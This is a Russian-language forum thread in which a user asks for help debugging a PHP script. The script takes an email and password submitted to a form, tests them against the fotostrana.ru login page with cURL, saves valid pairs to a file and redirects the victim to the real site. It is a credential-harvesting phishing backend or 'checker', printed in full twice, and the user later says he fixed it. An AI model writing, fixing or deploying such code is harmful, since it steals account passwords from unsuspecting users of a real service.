Проверка данных на валидность(cURL)

  • Автор темы Автор темы m0hze
  • Дата начала Дата начала

m0hze

Новичок
Проверка данных на валидность(cURL)

Вот имею простенький скриптек.Но он почимуто срабатывает,даже при неверных данных.Где искать ошибку?(
PHP:
<?php

/**
 * @author m0hze
 * @copyright 2009
 */
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
	$post = 'user_email='.$email.'&user_password='.$password;
    $cl = curl_init('http://fotostrana.ru/user/login');
    curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
    curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
    curl_setopt($cl, CURLOPT_HEADER, 1);
    curl_setopt($cl, CURLOPT_POST, 1);
    curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
    $exec = curl_exec($cl);
    curl_close($cl);
	$error = file_get_contents('index.php');
    if(stristr($exec, 'Неверный логин или пароль')){
        echo $error;
    }else{
	$fo = fopen('base.php','a');
	fwrite($fo,"$email:$password\n");
	fclose($fo);
	header("Location: [url]http://fotostrana.ru/user/login/?user_email=[/url]$email&user_password=$password");
	}
}
?>
 
Сделал вот так:
PHP:
<?php

/**
 * @author m0hze
 * @copyright 2009
 */
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
	$post = 'user_email='.$email.'&user_password='.$password;
    $cl = curl_init('http://fotostrana.ru/user/login');
    curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
    curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
    curl_setopt($cl, CURLOPT_HEADER, 1);
    curl_setopt($cl, CURLOPT_POST, 1);
    curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
    $exec = curl_exec($cl);
    curl_close($cl);
    if(stristr($exec, 'Неверный логин или пароль')){
       $error = file_get_contents('index.php');
	    echo $error;
    }else{
	$fo = fopen('base.php','a');
	fwrite($fo,"$email:$password\n");
	fclose($fo);
	header("Location: http://fotostrana.ru/user/login/?user_email=$email&user_password=$password");
	}
}
?>
Но как я подозреваю,ошибка не в этом.Так как он просто в любом случае посулает даные на запись,даже если они не валидные.Вот в чем проблема,скрипт уже переворошил весь,но явной ошибки не вижу...
 
я подозреваю, что ошибку надо искать теперь уже ПЕРЕД вышеупомянутой строкой
 
Я прошу поточнее сказать,так как в синтаксисе курла я только еще разбираюсь,и собственно говоря с ним работаю только по примерам.Если тебе не сложно,конкретизируй.
 
Если чесно мне это почти ничего не дало,разве что подсказало что курл работает,так как возвращаеться разное значение при логинах не правильных.ТЫ можеш конкретно подсказать,что и где исправить.Пожалуйста.
 
Во первых это не фейк,а чекер.А во вторых это имеет какоето значение для кодера? оО
 
BRat я заметил, что он бестолочь и ни фейк, ни чекер не напишет ибо не способен отладить где-то спионеренный код... так что не важно
 
MiRacLe
а смысла тогда ему писать что-то. Скоро какой-нить модератор увидит тему и удалит
 
Все спасибо,починил. Мда,форум кодеров.нехватает приставки перед 3 словом.
 
BRat слабых и больных новорожденных надо сразу кидать с обрыва?
 
Сверху